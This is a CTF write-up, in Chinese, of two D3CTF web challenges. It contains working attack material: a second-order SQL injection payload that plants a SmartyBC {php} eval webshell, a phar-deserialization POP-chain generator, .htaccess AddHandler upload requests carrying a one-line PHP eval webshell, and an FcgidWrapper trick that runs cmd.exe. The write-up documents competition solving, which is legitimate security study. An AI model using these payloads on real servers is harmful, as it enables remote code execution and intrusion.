D3ctfwp

D3ctf wp

前言

这次和队友们一起打了d3ctf,打的很自闭,不过也很开心。

easyweb

两天算是就做了这一题

主要考了两个点,一个是二次注入,另外一个是模板注入执行命令

信息收集

  1. codeInteger 3.1.11
  2. 登录,上传文件
  3. 登录后进入user/index 有 RCE Bug in this challenge的提示
  4. smarty BC (smarty 3.1.33)
  5. 主要有三个文件夹,application主要是项目实现的内容,system主要是ci框架的内容,template主要是模板文件。其中需要注意的是在config.php设置了smarty解析的左右分割符,可以用?c=xxx&&m=xxx来调用控制器中的方法。
  6. mvc模式,controller 一个文件夹,model在model里面直接写了sql语句和数据库交互。
    1
    2
    3
    4
    5
    6
    7
    $config['left_delimiter'] = '\{\{';
    $config['right_delimiter'] = '\}\}';


    $config['controller_trigger'] = 'c';
    $config['function_trigger'] = 'm';
    $config['directory_trigger'] = 'd';
  7. smarty 安全策略
    1
    2
    3
    4
    5
    6
    7
    8
    //允许所有modifiers
    $modifiers = array();
    //smarty模板中禁止执行php函数
    $my_security_policy->php_functions = null;
    //模板中移除php tag
    $my_security_policy->php_handling = Smarty::PHP_REMOVE;
    //允许任意流
    $my_security_policy->streams = array();

本地环境调试

讲道理,做这题我有一半时间是花在这题nginx的pathinfo上的,找了好多资料都没解决问题,最后直接添加路由,改了redirect的源码来做题。

需要额外调整的地方

  1. 添加ci_session表
    1
    2
    3
    4
    5
    6
    7
    8
    CREATE TABLE IF NOT EXISTS `ci_sessions` (
    `id` varchar(40) NOT NULL,
    `ip_address` varchar(45) NOT NULL,
    `timestamp` int(10) unsigned DEFAULT 0 NOT NULL,
    `data` blob NOT NULL,
    PRIMARY KEY (id),
    KEY `ci_sessions_timestamp` (`timestamp`)
    );
  2. 添加路由和修改redirect的源码
    application/config/route.php
    1
    2
    3
    4
    5
    6
    7
    $route['default_controller'] = 'user/login';
    $route['user/register']='user/register';
    $route['user/profile']='user/profile';
    $route['user/logout']='user/logout';
    $route['file/index']='file/index';
    $route['404_override'] = '';
    $route['translate_uri_dashes'] = FALSE;

这样差不多久可以用了

分析

首先走一遍流程,注册登录,然后每个页面看一看。

发现可以直接上传php文件,但是文件上传在tmp目录中,所以一度以为有文件包含漏洞。

不过有一个更明显的sql注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

public function get_view($userId){
$res = $this->db->query("SELECT username FROM userTable WHERE userId='$userId'")->result();
if($res){
$username = $res[0]->username;
$username = $this->sql_safe($username);
$username = $this->safe_render($username);
$userView = $this->db->query("SELECT userView FROM userRender WHERE username='$username'")->result();
$userView = $userView[0]->userView;
return $userView;
}else{
return false;
}
}
private function safe_render($username){
$username = str_replace(array('{','}'),'',$username);
return $username;
}

private function sql_safe($sql){
if(preg_match('/and|or|order|delete|select|union|load_file|updatexml|\(|extractvalue|\)/i',$sql)){
return '';
}else{
return $sql;
}
}

这里只要能够控制username就可以控制返回的userview。

我们来分析下。

先过滤敏感词在过滤’{‘和’}’,可以用’{‘ ‘}’切割关键词绕过。

然后这里的username可以通过注册新用户来控制,而且用户名字段还没有长度限制。

1
username=' and 0 unio{n sel{ect 1#

然后我们跟踪这个userview发现是在user.php的index方法中被调用

1
2
3
4
5
6
7
8
9
10
11
12
13

public function index()
{
if ($this->session->has_userdata('userId')) {
$userView = $this->Render_model->get_view($this->session->userId);
$prouserView = 'data:,' . $userView;
$this->username = array('username' => $this->getUsername($this->session->userId));
$this->ci_smarty->assign('username', $this->username);
$this->ci_smarty->display($prouserView);
} else {
redirect('/user/login');
}
}

发现这里的view会被直接传入模板display。回头看了下template,并且调试后发现,带双大括号的的tag是可以被执行的。

1
2
3
Hi, {{$username.username}}, hope you have a good experience in this ctf game
<br>
you must get a RCE Bug in this challenge

这里我查了下smarty 3.1.33的rce,但是这里有安全策略的存在,觉得不好操作。
不过后来发现他这里其实没有直接使用原生smarty 3.1.33而是使用了smartyBC。查看文档发现

As of Smarty 3.1 the {php} tags are only available from SmartyBC.

The {php} tags allow PHP code to be embedded directly into the template. They will not be escaped, regardless of the $php_handling setting.

就是说如果采用了smartyBC去渲染模板tag是可以用的,而且无视安全策略,那么思路来了。直接用注入写入eval($_POST[1]);解决问题。

需要注意的是这里尽管过滤了{}但是,我们可以用hex来绕过这个限制,因为hex编码的字符串在第二次被数据库调用的时候回被自动解码。
最终payload

1
username=' and 0 uni{on sel{ect 0x7b7b7068707d7d6576616c28245f504f53545b315d293b7b7b7068707d7d#

注册用户,登录,访问user/index,如果报错中有一段eval’d说明我们成功了,然后就是常规靠shell拿flag了。

ezupload

这道题以及之后的复现好像学了不少东西。(我觉得自己变强了,滚)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
<?php
class dir{
public $userdir;
public $url;
public $filename;
public function __construct($url,$filename) {
$this->userdir = "upload/" . md5($_SERVER["HTTP_X_REAL_IP"]);
$this->url = $url;
$this->filename = $filename;
if (!file_exists($this->userdir)) {
mkdir($this->userdir, 0777, true);
}
}
public function checkdir(){
if ($this->userdir != "upload/" . md5($_SERVER["HTTP_X_REAL_IP"])) {
die('hacker!!! ip');
}
}
public function checkurl(){
$r = parse_url($this->url);
if (!isset($r['scheme']) || preg_match("/file|php/i",$r['scheme'])){
die('hacker!!! schema');
}
}
public function checkext(){
if (stristr($this->filename,'..')){
die('hacker!!! filename ..');
}
if (stristr($this->filename,'/')){
die('hacker!!! filename /');
}
$ext = substr($this->filename, strrpos($this->filename, ".") + 1);
if (preg_match("/ph/i", $ext)){
die('hacker!!! ext');
}
}
public function upload(){
$this->checkdir();
$this->checkurl();
$this->checkext();
$content = file_get_contents($this->url,NULL,NULL,0,2048);
//preg_match_all("/\<\?|value|on|type|flag|auto|set|\\\\/i",$content,$out);
//var_dump($out);
if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
die('hacker!!! '.$content);
}
file_put_contents($this->userdir."/".$this->filename,$content);
}
public function remove(){
$this->checkdir();
$this->checkext();
if (file_exists($this->userdir."/".$this->filename)){
unlink($this->userdir."/".$this->filename);
}
}
public function count($dir) {
if ($dir === ''){
$num = count(scandir($this->userdir)) - 2;
}
else {
$num = count(scandir($dir)) - 2;
}
if($num > 0) {
return "you have $num files";
}
else{
return "you don't have file";
}
}
public function __toString() {
var_dump(__DIR__.'/'.$this->userdir);
return implode(" ",scandir(__DIR__."/".$this->userdir));
}
public function __destruct() {
$string = "your file in : ".$this->userdir;
file_put_contents($this->filename.".txt", $string);
echo $string;
}
}

if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])){
highlight_file(__FILE__);
die();
}

$dir = new dir($_POST['url'],$_POST['filename']);
if($_POST['action'] === "upload") {
$dir->upload();
}
elseif ($_POST['action'] === "remove") {
$dir->remove();
}
elseif ($_POST['action'] === "count") {
if (!isset($_POST['dir'])){
echo $dir->count('');
} else {
echo $dir->count($_POST['dir']);
}
}

简单看下来主要的问题是在upload上对内容作了过滤,

  1. 这里的auto针对的是.user.ini的主要有两个auto_append_file和auto_prepend_file,这里可以包含任意格式的文件,相当于文件包含漏洞的操作手法。不过值得一提的是这个手段只能针对用fastcgi解析程序的服务端生效
  2. .htaccess 的AddType 被过滤,setHander 之类的都被过滤,但是AddHandler还可以使用
  3. <? 被过滤 这里可以用<script> 来绕过,其实这里php脚本是可以直接上传的。(仅在php5中有效)

所以我们就走.htaccess 文件上传的思路,上传改进后的.htaccess 然后修改后缀名的码达到解析的目的。(没有在题目环境试验过,可能有别的限制)

但这里还有一个点,就是phar协议反序列化,这里是可以通过反序列化爆出路径的,然后可以用destruct的特性(无论是die还是正常退出,只要类销毁都会调用该方法)来列目录。

可以直接利用upload方法,利用file_get_contents触发反序列化,在destruct方法里触发toString,只要构造合适的pop即可列出open_dir下的目录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
class dir
{
public $userdir;
public $url;
public $filename;

public function __construct($url, $filename)
{
$this->userdir = "upload/" . md5('12323');
$this->url = $url;
$this->filename = $filename;
if (!file_exists($this->userdir)) {
mkdir($this->userdir, 0777, true);
}
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub(" __HALT_COMPILER(); ?>");
$o = new dir('123232', '21312313');
$o1 = new dir('', '1');
$o1->userdir = '../../../../../../../../../../../../var/www/html';
$o->userdir = $o1;

$o->filename = '*';

//var_dump(unserialize(serialize($o)));
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering()

我这里直接上传.htaccess加上传一句话(复现环境)

  • action=upload & filename=.htaccess & url=data:text/plain;base64,QWRkSGFuZGxlciBwaHA1LXNjcmlwdCAgLnR4dA==
  • action=upload & filename=1.txt & url=data:text/plain;,<script language=”php”>phpinfo();eval($_POST[1]);</script>

然后还有几个复现时配环境的坑

  • 如果服务器是以fastcgi模式解析php的话,网上给出的方式可能都不能解决问题。有一种在.htaccess 设置 phpvalue的黑魔法,可惜这里不让你用。
    1
    2
    php_value auto_prepend_file "xxx"
    php_value auto_append_file "xxx"
  • 如果存在mod_fcgid.so 模块被加载的情况,并且能够知道php-cgi的执行文件位置,就可以用这种。
    1
    2
    3
    Options +ExecCGI
    AddHandler fcgid-script .abc
    FcgidWrapper "C:/Windows/System32/cmd.exe /c start cmd.exe" .abc

    总结

    这次比赛尽管完完全全靠自己搞出来的题目没一道,但总感觉对一些东西的理解更深入了,一个.htaccess可以玩出这么多花样我也是没想到的。另外一个就是环境的问题,,哎以后赶时间就用docker搞吧,各种东西还是挺麻烦的。

最后如果有空想去搞搞fast-cgi+ apache + mod_proxy_fcgi模块的.htaccess的利用。

补充与修正

题目的环境的php版本是7所以没有办法解析
<script language=”php”>
这样的标签标签

reference: